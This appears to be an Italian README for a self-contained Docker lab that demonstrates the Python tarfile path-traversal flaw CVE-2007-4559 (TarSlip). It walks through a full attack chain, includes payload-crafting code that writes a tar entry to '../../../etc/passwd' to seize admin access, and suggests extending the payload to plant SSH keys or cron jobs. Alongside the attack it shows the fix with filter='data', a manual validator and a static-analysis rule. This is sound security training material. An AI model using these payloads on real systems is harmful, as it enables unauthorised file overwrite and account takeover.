Lab Docker autonomo che dimostra la directory traversal CVE-2007-4559 (TarSlip) tramite il modulo tarfile di Python. Include API vulnerabili e corrette, generazione del payload e uno script demo interattivo per la formazione sulla sicurezza.
Solo a scopo educativo. Questo laboratorio sfrutta intenzionalmente vulnerabilità del filesystem all'interno di container Docker isolati. Non eseguirlo su sistemi con dati sensibili o in ambienti di produzione.
Un laboratorio Docker autonomo che dimostra CVE-2007-4559 — la famigerata vulnerabilità "TarSlip" nel modulo tarfile di Python — attraverso una catena di attacco concreta e completa:
extractall() scrive ciecamente una voce tar denominata ../../../etc/passwd al di fuori della directory di estrazione, sovrascrivendo il file di sistema reale./admin protetto.tarfile.extractall() di Python riproduce fedelmente ogni voce in un archivio tar, incluse quelle i cui nomi contengono sequenze di path traversal.
../nome voce tar : ../../../etc/passwd
dir estrazione : /shared/uploads/a1b2c3d4/
percorso risolto : /shared/uploads/a1b2c3d4/../../../etc/passwd
= /etc/passwd ← file di sistema sovrascritto
| Cronologia | |
|---|---|
| 2007 | Bug segnalato al team di sicurezza di Python |
| 2007 – 2022 | Marchiato "non un problema di sicurezza" — tarfile "funziona come previsto" |
| 2022 | Ricercatori Trellix scansionano GitHub e trovano oltre 350.000 repository che chiamano extractall() su input non fidati |
| 2022 | Divulgazione pubblica. CVE-2007-4559 riemerge. Corsa a livello di settore. |
| 2023 | PEP 706 introduce filter='data' in Python 3.12 — la correzione è un singolo argomento |
La demo si svolge in tre battute, ciascuna richiede la pressione di un tasto per proseguire.
GET /admin → 401. L'endpoint admin esiste ed è protetto. L'aggressore non conosce la password.innocent.tar.gz → i file finiscono all'interno della directory sandbox. Tutto sembra normale.L'aggressore crea tarslip_passwd.tar.gz
└─ voce: "../../../etc/passwd"
contenuto: admin:hacked:1001:... ← password inserita
│
▼
POST /upload (caricamento file multipart)
│
▼
extractall("/shared/uploads/{uuid}/")
risolve "../../../etc/passwd" → /etc/passwd ← CVE-2007-4559
│
▼
GET /admin Authorization: Basic admin:hacked
│
▼
HTTP 200 — "Benvenuto, admin! Hai accesso completo da amministratore."
flag: CVE-2007-4559{tarslip_passwd_overwrite_to_admin_rce}
Una sola richiesta HTTP POST. Nessuna shell. Nessun payload RCE. Solo un file tar.
Lo stesso tarball viene caricato sull'API corretta, che passa filter='data' a extractall(). Python solleva tarfile.OutsideDestinationError — il traversal è bloccato, /etc/passwd rimane intatto e /admin resta bloccato.
# Vulnerabile — predefinito prima di Python 3.14
tar.extractall(extraction_dir)
# Corretto — PEP 706 (Python 3.12+)
tar.extractall(extraction_dir, filter='data')
Un argomento. Quindici anni per essere distribuito.
Quattro servizi su una rete bridge Docker isolata (tarslip-net). Niente raggiunge internet.
┌─────────────────────────────────────────────────────────┐
│ tarslip-net (bridge) │
│ │
│ ┌─────────────────┐ ┌──────────────────────────┐ │
│ │ vulnerable-api │ │ file-server │ │
│ │ python:3.11.3 │ │ nginx:alpine │ │
│ │ porta 8000 │ │ porta 8080 (host) │ │
│ │ │ │ │ │
│ │ POST /upload │ │ Serve /shared tramite │ │
│ │ GET /admin │ │ HTTP — sfoglia estratti │ │
│ │ GET /health │ │ visivamente │ │
│ └────────┬────────┘ └────────────┬─────────────┘ │
│ │ volume condiviso storage │ │
│ └────────────────────────────┘ │
│ │
│ ┌─────────────────┐ │
│ │ attacker │ │
│ │ python:3.12 │ (nessuna porta host — solo interno)│
│ │ │ │
│ │ craft_malicious.py — genera tarball │
│ │ demo.py — guida la demo │
│ └─────────────────┘ │
└─────────────────────────────────────────────────────────┘
| Servizio | Immagine | Ruolo | Porta host |
|---|---|---|---|
vulnerable-api | python:3.11.3-slim | API Flask di upload + /admin protetto da auth /etc/passwd | 8000 |
fixed-api | python:3.12-slim | Stesso codice + USE_SAFE_EXTRACTION=true | 8000 |
file-server | nginx:alpine | Elenco directory dei file estratti | 8080 |
attacker | python:3.12-slim | Generatore payload + driver demo | — |
Le API vulnerabile e corretta usano codice sorgente identico. L'unica differenza è la variabile d'ambiente USE_SAFE_EXTRACTION=true sul container corretto, che attiva il singolo argomento filter='data'.
CVE-2007-4559-lab/
├── run_demo.sh ← start here
├── docker-compose.vulnerable.yml
├── docker-compose.fixed.yml
├── vulnerable-api/
│ ├── app.py # Flask API: /upload + /admin + /health
│ ├── Dockerfile # seeds admin:s3cr3t_Adm1nPass into /etc/passwd
│ └── requirements.txt
├── file-server/
│ ├── Dockerfile
│ └── nginx.conf
└── attacker/
├── craft_malicious.py # generates innocent.tar.gz + tarslip_passwd.tar.gz
├── demo.py # four-mode CLI driver (craft/baseline/exploit/verify)
├── Dockerfile
└── requirements.txt
docker compose version)bashgit clone https://github.com/your-username/CVE-2007-4559-lab.git
cd CVE-2007-4559-lab
bash run_demo.sh
Lo script è completamente interattivo. Stampa una narrazione prima di ogni passaggio e attende Invio per proseguire. Non è necessaria alcuna conoscenza pregressa di Docker per seguire.
| Pausa | Narrazione mostrata | Azione su Invio |
|---|---|---|
| 1 | Cronologia CVE, cosa sono le tre battute | Build dello stack vulnerabile |
| 2 | Ruoli dei container, password admin preimpostata | Generazione payload |
| 3 | Contenuto di ogni tarball | Battuta 1 — baseline |
| 4 | Perché /admin è 401, aspetto dell'estrazione normale | Battuta 2 — exploit |
| 5 | Il calcolo esatto del traversal, cosa viene sovrascritto | Passaggio allo stack corretto |
| 6 | Cosa fa filter='data' e perché funziona | Battuta 3 — verifica |
| 7 | Punti chiave + pattern ZipSlip più ampio | Teardown |
Se vuoi procedere manualmente:
# Stack vulnerabile
docker compose -f docker-compose.vulnerable.yml up --build -d
docker compose -f docker-compose.vulnerable.yml exec attacker python craft_malicious.py
docker compose -f docker-compose.vulnerable.yml exec attacker python demo.py baseline
docker compose -f docker-compose.vulnerable.yml exec attacker python demo.py exploit
# Stack corretto
docker compose -f docker-compose.vulnerable.yml down
docker compose -f docker-compose.fixed.yml up --build -d
docker compose -f docker-compose.fixed.yml exec attacker python craft_malicious.py
docker compose -f docker-compose.fixed.yml exec attacker python demo.py verify
# Teardown
docker compose -f docker-compose.fixed.yml down
Mentre lo stack vulnerabile è in esecuzione, apri http://localhost:8080/uploads/ per sfogliare le directory di sessione estratte nel tuo browser.
/adminL'API inserisce una password admin segreta in /etc/passwd al momento della build dell'immagine:
admin:s3cr3t_Adm1nPass:1001:1001:Administrator:/home/admin:/bin/bash
GET /admin legge questo file e verifica il secondo campo (password) rispetto alle credenziali HTTP Basic Auth. L'aggressore non conosce s3cr3t_Adm1nPass — ma dopo che TarSlip sovrascrive il file con la propria versione contenente admin:hacked, la conosce.
Questo è un modello semplificato di obiettivi reali: authorized_keys di SSH, file di configurazione delle applicazioni, cron job e qualsiasi file di credenziali che il processo web può scrivere.
craft_malicious.py usa il modulo tarfile di Python — lo stesso che ha il bug:
def _add_entry(tar, name, content):
info = tarfile.TarInfo(name=name) # name è il percorso di traversal
info.size = len(content)
tar.addfile(info, io.BytesIO(content))
# Il nome della voce risolve in /etc/passwd quando estratto in /shared/uploads/{uuid}/
_add_entry(tar, "../../../etc/passwd", malicious_passwd_content)
Nessuno strumento speciale. Nessuno sfruttamento binario. La libreria standard è sia l'arma che la vittima.
Python 3.12 ha introdotto filter= in PEP 706. Il filtro 'data':
tarfile.OutsideDestinationError sui tentativi di traversal# Prima (vulnerabile — ancora il default fino a Python 3.14)
with tarfile.open(path) as tar:
tar.extractall(dest)
# Dopo (sicuro)
with tarfile.open(path) as tar:
tar.extractall(dest, filter='data')
Per Python 3.11 e versioni precedenti, convalida manualmente:
import os
def safe_extract(tar, dest):
dest = os.path.realpath(dest)
for member in tar.getmembers():
member_path = os.path.realpath(os.path.join(dest, member.name))
if not member_path.startswith(dest + os.sep):
raise ValueError(f"Percorso non sicuro: {member.name}")
tar.extractall(dest)
Analisi statica: la regola B202 di bandit segnala chiamate extractall() non sicure in CI.
TarSlip è il nome di Python per una classe di vulnerabilità che esiste in ogni linguaggio con API di estrazione archivi:
| Linguaggio | API Vulnerabile | CVE / Advisory |
|---|---|---|
| Python | tarfile.extractall() | CVE-2007-4559 |
| Java | ZipInputStream | ZipSlip (2018) |
| Go | archive/zip | ZipSlip (2018) |
| .NET | ZipArchive | ZipSlip (2018) |
| Node.js | tar, adm-zip, altri | ZipSlip (2018) |
Stessa causa principale ovunque: fidarsi dei percorsi da archivi non fidati. Stessa correzione ovunque: canonicalizzare e convalidare prima di scrivere.
Concentrati sulla differenza di codice prima/dopo e sulla regola bandit B202. L'obiettivo è "come preveniamo questo nel nostro codebase?" — mostra la guida alla migrazione PEP 706 e come aggiungere il controllo al CI.
Concentrati sulla metodologia di divulgazione Trellix — come hanno cercato su GitHub su larga scala, stimato l'impatto su oltre 350.000 repository e navigato la divulgazione responsabile per una vulnerabilità così diffusa.
Estendi craft_malicious.py per inserire un file authorized_keys SSH o una voce cron dannosa invece di /etc/passwd. Stessa tecnica, obiettivi diversi — mostra che qualsiasi percorso scrivibile è una superficie d'attacco.
MIT — usa liberamente per istruzione, ricerca sulla sicurezza e demo a conferenze. Non utilizzare le tecniche di generazione di payload contro sistemi che non possiedi.